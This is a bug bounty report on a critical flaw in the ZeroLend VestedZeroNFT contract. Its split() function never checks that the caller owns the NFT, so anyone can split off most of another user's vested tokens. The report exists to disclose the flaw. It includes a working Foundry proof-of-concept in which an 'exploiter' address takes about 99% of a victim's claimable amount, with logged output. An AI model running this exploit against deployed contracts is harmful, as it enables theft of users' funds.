29288 - [SC - Critical] all NFTs can be stolen by calling VestedZeroNFT...
Submitted on Mar 13th 2024 at 11:27:54 UTC by @EricTee for Boost | ZeroLend
Report ID: #29288
Report type: Smart Contract
Report severity: Critical
Target: https://github.com/zerolend/governance
Impacts:
Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Description
Brief/Intro
Wrong implementation in VestedZeroNFT::split() causes users' NFT to be stolen by anyone. Specifically, the problem arises from the ERC721Upgradeable.sol::_requireOwned check in VestedZeroNFT::split() which fails to check the caller is the owner of the NFT, allow anyone to split the pendingAmount and upfrontAmount of any tokenId up to 99%.
Vulnerability Details
In VestedZeroNFT::split():
function split(
uint256 tokenId,
uint256 fraction
) external whenNotPaused nonReentrant {
_requireOwned(tokenId);
// REDACTED by erictee
the _requireOwned check is not implemented correctly. Let's take a look at ERC721Upgradeable.sol::_requireOwned in Openzeppelin:
This function only return the address of the NFT owner but never revert if the caller is not the NFT owner. Therefore, anyone can call VestedZeroNFT::split() with any tokenId and to steal pendingAmount and upfrontAmount up to 99%.
Impact Details
Direct theft of any user rewards.
Recommendation
Consider making the following changes in VestedZeroNFT::split():
Add VestedZeroNFT.t.sol file within test folder with the following content:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import {Test, console} from "forge-std/Test.sol";
import {VestedZeroNFT} from "../contracts/vesting/VestedZeroNFT.sol";
import {ZeroLend} from "../contracts/ZeroLendToken.sol";
import {StakingBonus} from "../contracts/vesting/StakingBonus.sol";
import {IVestedZeroNFT} from "../contracts/interfaces/IVestedZeroNFT.sol";
contract VestedZeroNFTTest is Test {
address public admin;
VestedZeroNFT public vesting;
ZeroLend public zero;
StakingBonus public stakingbonus;
address public bob;
address public exploiter;
function setUp() public {
vesting = new VestedZeroNFT();
zero = new ZeroLend();
stakingbonus = new StakingBonus(); //erictee: no need to init here as this is for testing.
vesting.init(address(zero),address(stakingbonus));
bob = makeAddr("BOB");
exploiter = makeAddr("EXPLOITER");
zero.togglePause(false);
}
function test_correct() external {
console.log(address(vesting));
console.log(address(vesting.zero()));
console.log(zero.balanceOf(address(this)));
}
function test_StealAmountBySplitting() external {
// preparation
zero.approve(address(vesting), type(uint256).max);
vesting.mint(
bob,
15e18, // 15 ZERO linear vesting
5e18, // 5 ZERO upfront
1000, // linear duration - 1000 seconds
500, // cliff duration - 500 seconds
block.timestamp + 1000, // unlock date
false, // penalty -> false
IVestedZeroNFT.VestCategory.PRIVATE_SALE // 0
); // Same config as typescript testcase.
vm.warp(block.timestamp + 1000); //fast forward to unlock date.
(uint256 upfrontBefore, uint256 pendingBefore ) = vesting.claimable(1); // tokenId = 1
console.log("UPFRONT BOB Before: ", upfrontBefore);
console.log("PENDING BOB Before: ", pendingBefore);
vm.startPrank(exploiter);
vesting.split(1, 1); // tokenId = 1 , fraction =1
vm.stopPrank();
(uint256 upfrontExploiter, uint256 pendingExploiter) = vesting.claimable(2); // exploiter owns the tokenId 2
console.log("UPFRONT EXPLOITER: ", upfrontExploiter);
console.log("PENDING EXPLOITER: ", pendingExploiter);
(uint256 upfrontAfter, uint256 pendingAfter ) = vesting.claimable(1); // tokenId = 1
console.log("UPFRONT BOB After: ", upfrontAfter);
console.log("PENDING BOB After: ", pendingAfter);
}
}
Finally, run the foundry test with : forge test --match-test test_StealAmountBySplitting -vv
Foundry Result:
Running 1 test for test/VestedZeroNFT.t.sol:VestedZeroNFTTest
[PASS] test_StealAmountBySplitting() (gas: 656485)
Logs:
UPFRONT BOB Before: 5000000000000000000
PENDING BOB Before: 0
UPFRONT EXPLOITER: 4999500000000000000
PENDING EXPLOITER: 0
UPFRONT BOB After: 500000000000000
PENDING BOB After: 0
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.15ms
Ran 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)